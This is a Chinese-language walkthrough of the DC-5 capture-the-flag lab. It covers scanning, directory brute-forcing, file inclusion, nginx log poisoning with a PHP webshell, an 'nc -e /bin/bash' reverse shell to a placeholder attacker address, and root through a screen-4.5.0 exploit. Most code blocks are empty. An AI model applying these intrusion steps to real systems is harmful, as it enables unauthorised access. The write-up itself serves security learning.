dc-5打靶日记
1. nmap扫描
1.1 确认目标ip地址
1 |
|
为打开靶机状态下C端扫描结果
打开靶机后再进行一次存活IP扫描从而确定靶机的ip地址;
虽然不太清楚为什么ip:192.168.31.112
多扫出那么多开放端口,但是多出来的ip地址确实是192.168.31.102
,以及其mac地址的标识也充分证明了这个ip确实是我们的靶机
目标ip地址:192.168.31.102
1.2 目标开放TCP端口
1 |
|
开放端口为:80,111,49249
1.3 目标开放UDP端口
1 |
|
1.4 开放TCP端口详细信息
1 |
|
111端口不太熟悉,可以先不看,先看看80端口有什么突破口吗,49249不知道是啥端口,入手点比较少,考虑从80端口拿点信息先
111端口:rpcbind
80端口:http
49249端口:不知道开得啥
1.5 nmap漏洞扫描
1 |
|
可以看到的是似乎存在csrf,但是其实并没有什么用就是啦;
2. 信息检索
2.1 网页访问80端口
好吧,获得的信息就是没获得信息,目录爆破一下吧;唯一信息
nginx:1.6.2
2.2 gobuster目录爆破
1 |
|
ok,又啥也没有;不知道是不是字典的问题,换个工具爆破试试
使用dirseacher
扫一下看看,有没有什么新目录
1 |
|
现在我们能够得到的目录信息有:
/contact.php
/faq.php
/footer.php
/css
/images/
/thankyou.php
2.3 获取网页信息
对上述我们进行目录爆破的网址进行逐一访问,观察其信息特点,发现其中几个目录分别对应了首页的几个控件:
但是在访问footer.php
时发现只有一个版权信息,似乎是页脚的意思
然后对thankyou.php
访问时,发现该网页包含了该footer.php
文件,可以考虑文件包含进行测试
尝试文件包含,访问网址
1 |
|
发现确实存在文件包含,使用burpsuite
抓包分析一下。
3. getshell
由于nginx会将执行的命令记录下来并写入日志文件中,所以先读取一下nignx的配置信息,查看日志文件的位置
#nginx配置文件路径 /etc/nginx/nginx.conf
#nginx日志文件路径
错误执行记录:/var/log/nginx/error.log
执行记录:/var/log/nginx/access.log
尝试查看error.log
文件,确实查看到了刚才我们无法执行的文件,那么我们可以通过写入php一句话木马进行连接,然后尝试获取连接;
1 |
|
发现确实存在我们写入的一句话木马,尝试使用蚁剑进行连接;
ok,成功连接,文件包含确实存在,尝试将shell反弹到攻击机的终端
方法一:通过传入的一句话木马进行命令执行反弹shell;(上述传入的是post的一句话木马,故不太好进行命令执行,可以在传一个get方式传输的一句话木马,额,我没成功,不知道为啥)
方法二:直接通过蚁剑的虚拟终端执行nc -e /bin/bash <攻击者IP> <监听端口>即可;(这个成功了)
1 |
|
成功连接,没关系,目的一致,达成就行,然后通过python指令开启一个互动式终端:
1 |
|
成功拿到一个用户级的shell,接下来考虑提权吧。
4. 提权
4.1 命令提权
尝试找找看是否存在可以利用的命令
1 |
|
可以尝试用来提权的命令有:mount、screen-4.5.0、exim4
先来尝试一下exim4
吧,查看一下命令的版本
1 |
|
版本4.84_2,查看是否存在可利用的漏洞
确实存在该版本的漏洞但是是_3
的不是_2
的,所以其并不可利用,放弃;
试试其他命令screen-4.5.0
,已经标注版本,查看是否存在相应的漏洞
1 |
|
一个POC,一个利用脚本
将利用脚本复制到当前目录
1 |
|
与dc-4一致,先启动web机的apache2服务,将利用脚本上传web,然后使用目标机下载该脚本执行
1 |
|
然后来到目标机通过wget命令下载相应的提权脚本文件,由于目录权限的原因,一般到/tmp
目录下执行脚本下载,然后给相应的脚本赋予可执行权限,再执行脚本
1 |
|
ok,成功拿到root权限,找到flag即可
1 |
|
这下是完美结束了,下班咯!
5. 总结
- 基础漏洞得会才行,不然都不知道从哪里获得webshell,还谈什么提权
- 命令提权有很有中方式不一定是直接通过命令执行,有时候也是通过命令本身的漏洞执行
- 目录爆破跟字典有关系,有些时候没爆破出东西,可能是字典不够大,换个工具或者换个字典都行